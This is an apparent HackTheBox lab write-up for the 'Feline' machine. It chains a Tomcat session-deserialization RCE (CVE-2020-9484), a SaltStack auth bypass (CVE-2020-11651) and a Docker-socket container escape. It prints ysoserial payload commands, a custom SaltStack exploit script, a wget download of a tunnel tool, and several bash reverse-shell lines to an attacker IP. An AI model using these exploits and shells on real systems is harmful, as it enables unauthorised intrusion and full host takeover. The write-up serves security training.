HTB: Feline Writeup

Feline - HackTheBox Writeup

Machine Information

AttributeDetails
NameFeline
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.44.106
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Feline is a hard-difficulty Linux machine that showcases a sophisticated multi-stage attack chain involving modern CVEs and container escape techniques. The box begins with an Apache Tomcat 9.0.x installation hosting a file upload service (“VirusBucket”). Initial access is gained through CVE-2020-9484, a Tomcat session persistence deserialization vulnerability that allows remote code execution by uploading a crafted Java serialized session file and triggering it via a manipulated JSESSIONID cookie. After gaining a foothold as the tomcat user, enumeration reveals SaltStack services running on localhost ports 4505/4506. These are exploited via CVE-2020-11651, an authentication bypass vulnerability in SaltStack, which provides root access inside a Docker container. The final privilege escalation leverages an exposed Docker socket (/var/run/docker.sock) to interact with the Docker API on the host machine, creating a privileged container with the host root filesystem mounted, ultimately escaping to root on the physical host.

TL;DR: Apache Tomcat RCE (CVE-2020-9484) via malicious session file → tomcat shell → SaltStack auth bypass (CVE-2020-11651) via localhost tunnel → root in Docker container → Docker socket abuse → host root escape


Reconnaissance

Port Scanning

Terminal window
# Comprehensive port scan
nmap -sC -sV -T4 -p- 10.129.44.106

Results:

  • Port 22/tcp: OpenSSH (standard configuration)
  • Port 8080/tcp: Apache Tomcat/9.0.27 hosting a Java web application

Service Enumeration

Apache Tomcat (Port 8080)

Navigating to http://10.129.44.106:8080 reveals a web application called “VirusBucket” that provides malware analysis services. The application contains a file upload feature accessible via the “Service” navigation link.

The upload form accepts files of any type and submits them via POST request. Testing with a simple text file reveals:

  1. No file extension validation
  2. Files are saved to /opt/samples/uploads/ (disclosed via error messages)
  3. The application uses Apache Commons libraries for file handling
  4. Session management uses server-side persistence

Vulnerability Assessment

Identified Vulnerabilities:

  1. CVE-2020-9484: Apache Tomcat 9.0.35 and below suffer from a remote code execution vulnerability via session persistence. When Tomcat is configured to use PersistenceManager with FileStore, and an attacker can control the session file location via path traversal in the JSESSIONID cookie, arbitrary serialized Java objects can be deserialized, leading to RCE.

  2. SaltStack Services (discovered post-foothold): Ports 4505 and 4506 listening locally indicate SaltStack, which is vulnerable to CVE-2020-11651 (authentication bypass) and CVE-2020-11652 (directory traversal).

  3. Exposed Docker Socket (discovered in container): The /var/run/docker.sock Unix socket is accessible from within the SaltStack container, allowing interaction with the host Docker API.


Initial Foothold

CVE-2020-9484: Tomcat Session Persistence RCE

The vulnerability requires three conditions to be met:

  • Tomcat configured with PersistenceManager (FileStore)
  • Attacker can upload a file to a known location
  • Attacker can control the JSESSIONID cookie value to point to the uploaded file

Step 1: Generate Malicious Session File

We use ysoserial to generate a serialized Java payload. The application uses Apache Commons Collections, so we need to identify which gadget chain works.

Terminal window
# Install Java runtime if needed
# Note: JDK 21+ requires additional exports for ysoserial
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "curl http://10.10.14.2/test" > f.session

The CommonsCollections2 gadget chain works with this Tomcat version. The payload executes a command when deserialized.

Why this works: When Tomcat deserializes the session file, the CommonsCollections2 gadget chain triggers a series of method invocations that ultimately execute arbitrary commands via java.lang.Runtime.exec().

Step 2: Upload the Session File

Terminal window
# Upload the malicious session file through the file upload form
# The file is saved to /opt/samples/uploads/f.session

Using Burp Suite or similar tool, upload the f.session file through the web application’s upload functionality.

Step 3: Trigger Deserialization

Modify the JSESSIONID cookie to point to the uploaded file using path traversal:

JSESSIONID=../../../../../../../opt/samples/uploads/f

Note: The .session extension is automatically appended by Tomcat’s PersistenceManager.

When the manipulated cookie is sent, Tomcat attempts to load the session from the specified path, deserializing our malicious payload.

Step 4: Establish Reverse Shell

Generate a reverse shell payload:

Terminal window
# Base64 encode the reverse shell command to avoid character escaping issues
echo 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1' | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo=
# Generate the session file with reverse shell payload
# For JDK 21, additional exports are needed for xalan/xsltc packages
java --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
-jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" > shell.session
# Start listener
nc -lvnp 4444

Upload shell.session, then trigger it with the manipulated JSESSIONID cookie:

JSESSIONID=../../../../../../../opt/samples/uploads/shell

Result: Reverse shell as user tomcat.


Privilege Escalation

Lateral Movement: SaltStack Exploitation (CVE-2020-11651)

Step 1: Enumerate Network Services

Terminal window
# Check listening ports on the compromised host
netstat -ano | grep LISTEN

Discovery: Ports 4505 and 4506 are listening on localhost (127.0.0.1). These are SaltStack master ports:

  • 4505: ZeroMQ publish port
  • 4506: ZeroMQ request/reply port

SaltStack is a Python-based infrastructure automation tool that uses a master-minion architecture.

Step 2: Port Forwarding with Chisel

To exploit SaltStack from our attacking machine, we need to tunnel the local ports:

Terminal window
# On attacking machine - start chisel server
./chisel server -p 1234 --reverse
# On target machine (as tomcat) - download and run chisel client
cd /tmp
wget http://10.10.14.2/chisel
chmod +x chisel
./chisel client 10.10.14.2:1234 R:4506:127.0.0.1:4506 R:4505:127.0.0.1:4505

Now ports 4505/4506 are accessible on localhost of our attacking machine.

Step 3: Exploit SaltStack Authentication Bypass

CVE-2020-11651 allows unauthenticated access to the _prep_auth_info method, which returns the root key used to authenticate with the master. This key can then be used to execute arbitrary commands as root.

The exploit communicates directly with SaltStack using ZeroMQ and MessagePack, bypassing the need for the salt-master Python libraries:

# Custom exploit using pyzmq and msgpack (no salt libraries needed)
# Connect to the ZeroMQ clear channel
import zmq
import msgpack
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect('tcp://127.0.0.1:4506')
# Exploit _prep_auth_info to get root key
msg = {
'cmd': '_prep_auth_info'
}
socket.send(msgpack.packb(msg))
response = msgpack.unpackb(socket.recv())
root_key = response['root']
# Execute command using the root key
payload = {
'key': root_key,
'cmd': 'runner',
'fun': 'salt.cmd',
'kwarg': {
'fun': 'cmd.exec_code',
'lang': 'python',
'code': 'import subprocess;subprocess.call("bash -c \'bash -i >& /dev/tcp/10.10.14.2/4445 0>&1\'",shell=True)'
},
'jid': '20210101010101010101'
}
socket.send(msgpack.packb(payload))

Why this works: The _prep_auth_info method was designed for internal use and doesn’t require authentication. Once we have the root key, SaltStack’s cmd.exec_code runner allows arbitrary Python code execution as root.

Terminal window
# Start listener
nc -lvnp 4445

Result: Reverse shell as root inside a Docker container.

Container Escape: Docker Socket Exploitation

Step 1: Identify Container Environment

Terminal window
# Confirm we're in a container
cat /.dockerenv # File exists in Docker containers
cat /etc/hostname # Shows container ID

Step 2: Enumerate Available Resources

Terminal window
# Check for exposed Docker socket
ls -la /var/run/docker.sock
# -rw-rw---- 1 root 999 0 Jan 1 00:00 /var/run/docker.sock
# Check root's bash history
cat /root/.bash_history
# Shows Docker socket usage examples
# Check SaltStack configuration
cat /etc/salt/master.d/*.conf
# Reveals Docker events integration using unix://var/run/docker.sock

Key Finding: The Docker socket is mounted in the container, allowing interaction with the Docker daemon on the host machine.

Step 3: Interact with Host Docker API

The Docker socket provides a RESTful API. We can use curl with the --unix-socket flag to communicate:

Terminal window
# List available Docker images on the host
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

The response shows available images, including sandbox.

Step 4: Create Privileged Container with Host Filesystem

The attack strategy:

  1. Create a new container using the sandbox image
  2. Mount the host root filesystem (/) to /mnt in the container with read-write access
  3. Configure the container to execute a command that chroots into /mnt and spawns a reverse shell
Terminal window
# Prepare the reverse shell command (JSON array format with proper escaping)
cmd="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"bash -c 'bash -i>&/dev/tcp/10.10.14.2/4446 0>&1'\\\"\"]"
# Create the container
curl -s -XPOST --unix-socket /var/run/docker.sock \
-d "{\"Image\":\"sandbox\",\"Cmd\":$cmd,\"Binds\":[\"/:/mnt:rw\"]}" \
-H 'Content-Type: application/json' \
http://localhost/containers/create
# Response includes container ID (example):
# {"Id":"fa5ab671afd818ac6a47e02a60b4d1a8fb8eaa156608a582dbe67a693c603ecb","Warnings":null}

Why this works:

  • Binds mounts the host’s root filesystem into the container
  • The chroot /mnt command changes the root directory to the mounted host filesystem
  • Any commands executed after chroot run in the context of the host, not the container
  • The container runs with elevated privileges by default when created via the API

Step 5: Start the Container

Terminal window
# Start listener
nc -lvnp 4446
# Start the container (replace with actual container ID from creation response)
curl -s -XPOST --unix-socket /var/run/docker.sock \
http://localhost/containers/fa5ab671afd818ac6a47e02a60b4d1a8fb8eaa156608a582dbe67a693c603ecb/start

Result: Reverse shell as root on the host machine VirusBucket.

Step 6: Verify Host Access

Terminal window
# Confirm we're on the host (not a container)
cat /etc/hostname
# VirusBucket
# Verify host file structure
ls /opt/
# samples/ tomcat/
# Retrieve flags
cat /home/*/user.txt
cat /root/root.txt

Attack Chain Summary

nmap (port 8080) → Apache Tomcat 9.0.27 VirusBucket app → CVE-2020-9484 session deserialization RCE →
shell as tomcat → enumerate localhost ports (4505/4506 SaltStack) → chisel tunnel →
CVE-2020-11651 SaltStack auth bypass → root in Docker container →
exposed /var/run/docker.sock → Docker API abuse (mount host /) → root on host VirusBucket

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ysoserialGenerate Java deserialization payloads (CommonsCollections2 gadget)
Burp SuiteIntercept and modify HTTP requests (JSESSIONID manipulation)
netcatReverse shell listener
chiselTCP/UDP tunnel for port forwarding
pyzmq + msgpackDirect ZeroMQ communication with SaltStack (replaced full exploit script)
curlInteract with Docker API via Unix socket

Key Learnings

Techniques Practiced

  • Java deserialization exploitation using Apache Commons Collections gadget chains
  • Session persistence manipulation in Apache Tomcat via path traversal
  • Port forwarding and pivoting using chisel for accessing internal services
  • SaltStack exploitation via authentication bypass (CVE-2020-11651)
  • Docker socket abuse for container escape
  • Docker API interaction via Unix sockets and RESTful API
  • Chroot-based privilege escalation from container to host

Lessons Learned

  1. Session persistence can be dangerous: When Tomcat’s PersistenceManager is combined with file upload functionality and user-controlled session identifiers, it creates a powerful RCE vector through deserialization. Always validate and sanitize file paths, and consider disabling session persistence or using encrypted storage.

  2. Modern Java requires additional configuration for ysoserial: JDK 21+ enforces stricter module boundaries. The --add-exports and --add-opens flags are necessary to expose internal packages like com.sun.org.apache.xalan.internal.xsltc that ysoserial’s TemplatesImpl gadget relies on.

  3. Internal services are valuable targets: Services bound to localhost (like SaltStack on 4505/4506) are often less hardened because they’re assumed to be protected by network segmentation. Once you have initial access, always enumerate 127.0.0.1 for additional attack surfaces.

  4. SaltStack’s authentication model has weaknesses: The _prep_auth_info method exposure (CVE-2020-11651) demonstrates why internal APIs must enforce authentication even for “helper” methods. The returned root key provides complete control over the infrastructure.

  5. Docker socket exposure is a critical security issue: Mounting /var/run/docker.sock into a container gives that container full control over the Docker daemon, effectively granting host root access. The socket should never be exposed unless absolutely necessary, and alternatives like Docker-in-Docker or rootless Docker should be considered.

  6. Container escape via bind mounts: By creating a new container with the host root filesystem mounted, we can execute arbitrary commands on the host. This technique works because Docker containers, by default, run with significant privileges when created via the API, and the chroot command allows us to “break out” of the container’s filesystem namespace.

  7. API-first exploitation: When standard tools aren’t available (no salt libraries, mismatched Python versions), understanding the underlying protocols (ZeroMQ, MessagePack) allows for custom exploit development. Building minimal exploit clients with just pyzmq and msgpack proved more reliable than dependency-heavy frameworks.

  8. Defense in depth is critical: This box demonstrates why layered security matters. No single vulnerability gave us root; it required chaining Tomcat RCE → container access → socket abuse. Each layer should be hardened independently.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup (felamos, Document No D20.100.103) - CVE details and exploitation methodology
  • Apache Tomcat CVE-2020-9484 Advisory
  • SaltStack CVE-2020-11651/CVE-2020-11652 Advisories
  • Docker API Documentation